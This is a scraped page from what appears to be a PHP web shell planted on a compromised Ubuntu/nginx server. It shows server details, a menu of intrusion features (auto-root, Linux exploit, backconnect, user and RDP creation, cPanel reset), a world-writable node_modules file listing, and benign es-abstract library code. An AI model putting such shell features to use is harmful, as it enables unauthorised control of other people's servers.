Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
es-abstract /
2016 /
[ HOME SHELL ]
Name
Size
Permission
Action
tables
[ DIR ]
dr-xr-xr-x
AbstractEqualityComparison.js
1.12
KB
-rw-rw-rw-
AbstractRelationalComparison.j...
1.52
KB
-rw-rw-rw-
AdvanceStringIndex.js
1.2
KB
-rw-rw-rw-
ArrayCreate.js
1.57
KB
-rw-rw-rw-
ArraySetLength.js
2.37
KB
-rw-rw-rw-
ArraySpeciesCreate.js
1.32
KB
-rw-rw-rw-
Call.js
614
B
-rw-rw-rw-
CanonicalNumericIndexString.js
572
B
-rw-rw-rw-
Canonicalize.js
1.17
KB
-rw-rw-rw-
CharacterRange.js
776
B
-rw-rw-rw-
CompletePropertyDescriptor.js
1.08
KB
-rw-rw-rw-
CompletionRecord.js
1.32
KB
-rw-rw-rw-
CreateDataProperty.js
705
B
-rw-rw-rw-
CreateDataPropertyOrThrow.js
681
B
-rw-rw-rw-
CreateHTML.js
846
B
-rw-rw-rw-
CreateIterResultObject.js
349
B
-rw-rw-rw-
CreateListFromArrayLike.js
1.32
KB
-rw-rw-rw-
CreateMethodProperty.js
926
B
-rw-rw-rw-
DateFromTime.js
988
B
-rw-rw-rw-
Day.js
234
B
-rw-rw-rw-
DayFromYear.js
256
B
-rw-rw-rw-
DayWithinYear.js
286
B
-rw-rw-rw-
DaysInYear.js
301
B
-rw-rw-rw-
DefinePropertyOrThrow.js
1.13
KB
-rw-rw-rw-
DeletePropertyOrThrow.js
646
B
-rw-rw-rw-
DetachArrayBuffer.js
1.23
KB
-rw-rw-rw-
EnumerableOwnNames.js
364
B
-rw-rw-rw-
FromPropertyDescriptor.js
536
B
-rw-rw-rw-
Get.js
549
B
-rw-rw-rw-
GetGlobalObject.js
198
B
-rw-rw-rw-
GetIterator.js
803
B
-rw-rw-rw-
GetMethod.js
680
B
-rw-rw-rw-
GetOwnPropertyKeys.js
822
B
-rw-rw-rw-
GetPrototypeFromConstructor.js
1.05
KB
-rw-rw-rw-
GetSubstitution.js
3.19
KB
-rw-rw-rw-
GetV.js
488
B
-rw-rw-rw-
GetValueFromBuffer.js
3.28
KB
-rw-rw-rw-
HasOwnProperty.js
509
B
-rw-rw-rw-
HasProperty.js
464
B
-rw-rw-rw-
HourFromTime.js
382
B
-rw-rw-rw-
InLeapYear.js
462
B
-rw-rw-rw-
InstanceofOperator.js
911
B
-rw-rw-rw-
IntegerIndexedElementGet.js
1.8
KB
-rw-rw-rw-
IntegerIndexedElementSet.js
1.67
KB
-rw-rw-rw-
InternalizeJSONProperty.js
2.08
KB
-rw-rw-rw-
Invoke.js
662
B
-rw-rw-rw-
IsAccessorDescriptor.js
558
B
-rw-rw-rw-
IsArray.js
118
B
-rw-rw-rw-
IsCallable.js
108
B
-rw-rw-rw-
IsCompatiblePropertyDescriptor...
367
B
-rw-rw-rw-
IsConcatSpreadable.js
621
B
-rw-rw-rw-
IsConstructor.js
1.12
KB
-rw-rw-rw-
IsDataDescriptor.js
561
B
-rw-rw-rw-
IsDetachedBuffer.js
735
B
-rw-rw-rw-
IsExtensible.js
504
B
-rw-rw-rw-
IsGenericDescriptor.js
656
B
-rw-rw-rw-
IsInteger.js
203
B
-rw-rw-rw-
IsPromise.js
480
B
-rw-rw-rw-
IsPropertyDescriptor.js
311
B
-rw-rw-rw-
IsPropertyKey.js
202
B
-rw-rw-rw-
IsRegExp.js
540
B
-rw-rw-rw-
IsWordChar.js
1.06
KB
-rw-rw-rw-
IterableToArrayLike.js
1.07
KB
-rw-rw-rw-
IteratorClose.js
1.62
KB
-rw-rw-rw-
IteratorComplete.js
445
B
-rw-rw-rw-
IteratorNext.js
440
B
-rw-rw-rw-
IteratorStep.js
348
B
-rw-rw-rw-
IteratorValue.js
390
B
-rw-rw-rw-
MakeDate.js
328
B
-rw-rw-rw-
MakeDay.js
917
B
-rw-rw-rw-
MakeTime.js
698
B
-rw-rw-rw-
MinFromTime.js
396
B
-rw-rw-rw-
MonthFromTime.js
1014
B
-rw-rw-rw-
NewPromiseCapability.js
1.2
KB
-rw-rw-rw-
NormalCompletion.js
237
B
-rw-rw-rw-
ObjectCreate.js
1.28
KB
-rw-rw-rw-
ObjectDefineProperties.js
1.28
KB
-rw-rw-rw-
OrdinaryCreateFromConstructor....
801
B
-rw-rw-rw-
OrdinaryDefineOwnProperty.js
2.1
KB
-rw-rw-rw-
OrdinaryGetOwnProperty.js
1.15
KB
-rw-rw-rw-
OrdinaryGetPrototypeOf.js
491
B
-rw-rw-rw-
OrdinaryHasInstance.js
565
B
-rw-rw-rw-
OrdinaryHasProperty.js
478
B
-rw-rw-rw-
OrdinarySetPrototypeOf.js
951
B
-rw-rw-rw-
QuoteJSONString.js
1.31
KB
-rw-rw-rw-
RegExpCreate.js
643
B
-rw-rw-rw-
RegExpExec.js
817
B
-rw-rw-rw-
RequireObjectCoercible.js
83
B
-rw-rw-rw-
SameValue.js
307
B
-rw-rw-rw-
SameValueNonNumber.js
402
B
-rw-rw-rw-
SameValueZero.js
218
B
-rw-rw-rw-
SecFromTime.js
402
B
-rw-rw-rw-
Set.js
1.17
KB
-rw-rw-rw-
SetFunctionName.js
1.26
KB
-rw-rw-rw-
SetIntegrityLevel.js
1.78
KB
-rw-rw-rw-
SetValueInBuffer.js
3.79
KB
-rw-rw-rw-
SpeciesConstructor.js
837
B
-rw-rw-rw-
SplitMatch.js
808
B
-rw-rw-rw-
StrictEqualityComparison.js
361
B
-rw-rw-rw-
StringCreate.js
1.06
KB
-rw-rw-rw-
SymbolDescriptiveString.js
443
B
-rw-rw-rw-
TestIntegrityLevel.js
1.17
KB
-rw-rw-rw-
TimeClip.js
468
B
-rw-rw-rw-
TimeFromYear.js
261
B
-rw-rw-rw-
TimeWithinDay.js
247
B
-rw-rw-rw-
ToBoolean.js
130
B
-rw-rw-rw-
ToDateString.js
514
B
-rw-rw-rw-
ToInt16.js
255
B
-rw-rw-rw-
ToInt32.js
173
B
-rw-rw-rw-
ToInt8.js
242
B
-rw-rw-rw-
ToInteger.js
268
B
-rw-rw-rw-
ToLength.js
332
B
-rw-rw-rw-
ToNumber.js
1.48
KB
-rw-rw-rw-
ToObject.js
126
B
-rw-rw-rw-
ToPrimitive.js
282
B
-rw-rw-rw-
ToPropertyDescriptor.js
1.41
KB
-rw-rw-rw-
ToPropertyKey.js
400
B
-rw-rw-rw-
ToString.js
389
B
-rw-rw-rw-
ToUint16.js
564
B
-rw-rw-rw-
ToUint32.js
175
B
-rw-rw-rw-
ToUint8.js
573
B
-rw-rw-rw-
ToUint8Clamp.js
515
B
-rw-rw-rw-
Type.js
244
B
-rw-rw-rw-
TypedArrayCreate.js
1.65
KB
-rw-rw-rw-
TypedArraySpeciesCreate.js
1.34
KB
-rw-rw-rw-
UTF16Decode.js
821
B
-rw-rw-rw-
UTF16Encoding.js
698
B
-rw-rw-rw-
ValidateAndApplyPropertyDescri...
4.86
KB
-rw-rw-rw-
ValidateTypedArray.js
780
B
-rw-rw-rw-
WeekDay.js
208
B
-rw-rw-rw-
YearFromTime.js
407
B
-rw-rw-rw-
abs.js
207
B
-rw-rw-rw-
floor.js
217
B
-rw-rw-rw-
max.js
176
B
-rw-rw-rw-
min.js
176
B
-rw-rw-rw-
modulo.js
168
B
-rw-rw-rw-
msFromTime.js
253
B
-rw-rw-rw-
thisBooleanValue.js
332
B
-rw-rw-rw-
thisNumberValue.js
355
B
-rw-rw-rw-
thisStringValue.js
326
B
-rw-rw-rw-
thisTimeValue.js
262
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : GetSubstitution.js
'use strict'; var GetIntrinsic = require('get-intrinsic'); var $TypeError = require('es-errors/type'); var $parseInt = GetIntrinsic('%parseInt%'); var inspect = require('object-inspect'); var regexTester = require('safe-regex-test'); var callBound = require('call-bind/callBound'); var every = require('../helpers/every'); var isDigit = regexTester(/^[0-9]$/); var $charAt = callBound('String.prototype.charAt'); var $strSlice = callBound('String.prototype.slice'); var IsArray = require('./IsArray'); var isInteger = require('../helpers/isInteger'); var isStringOrUndefined = require('../helpers/isStringOrUndefined'); // https://262.ecma-international.org/6.0/#sec-getsubstitution // eslint-disable-next-line max-statements, max-lines-per-function module.exports = function GetSubstitution(matched, str, position, captures, replacement) { if (typeof matched !== 'string') { throw new $TypeError('Assertion failed: `matched` must be a String'); } var matchLength = matched.length; if (typeof str !== 'string') { throw new $TypeError('Assertion failed: `str` must be a String'); } var stringLength = str.length; if (!isInteger(position) || position < 0 || position > stringLength) { throw new $TypeError('Assertion failed: `position` must be a nonnegative integer, and less than or equal to the length of `string`, got ' + inspect(position)); } if (!IsArray(captures) || !every(captures, isStringOrUndefined)) { throw new $TypeError('Assertion failed: `captures` must be a List of Strings, got ' + inspect(captures)); } if (typeof replacement !== 'string') { throw new $TypeError('Assertion failed: `replacement` must be a String'); } var tailPos = position + matchLength; var m = captures.length; var result = ''; for (var i = 0; i < replacement.length; i += 1) { // if this is a $, and it's not the end of the replacement var current = $charAt(replacement, i); var isLast = (i + 1) >= replacement.length; var nextIsLast = (i + 2) >= replacement.length; if (current === '$' && !isLast) { var next = $charAt(replacement, i + 1); if (next === '$') { result += '$'; i += 1; } else if (next === '&') { result += matched; i += 1; } else if (next === '`') { result += position === 0 ? '' : $strSlice(str, 0, position - 1); i += 1; } else if (next === "'") { result += tailPos >= stringLength ? '' : $strSlice(str, tailPos); i += 1; } else { var nextNext = nextIsLast ? null : $charAt(replacement, i + 2); if (isDigit(next) && next !== '0' && (nextIsLast || !isDigit(nextNext))) { // $1 through $9, and not followed by a digit var n = $parseInt(next, 10); // if (n > m, impl-defined) result += n <= m && typeof captures[n - 1] === 'undefined' ? '' : captures[n - 1]; i += 1; } else if (isDigit(next) && (nextIsLast || isDigit(nextNext))) { // $00 through $99 var nn = next + nextNext; var nnI = $parseInt(nn, 10) - 1; // if nn === '00' or nn > m, impl-defined result += nn <= m && typeof captures[nnI] === 'undefined' ? '' : captures[nnI]; i += 2; } else { result += '$'; } } } else { // the final $, or else not a $ result += $charAt(replacement, i); } } return result; };
Close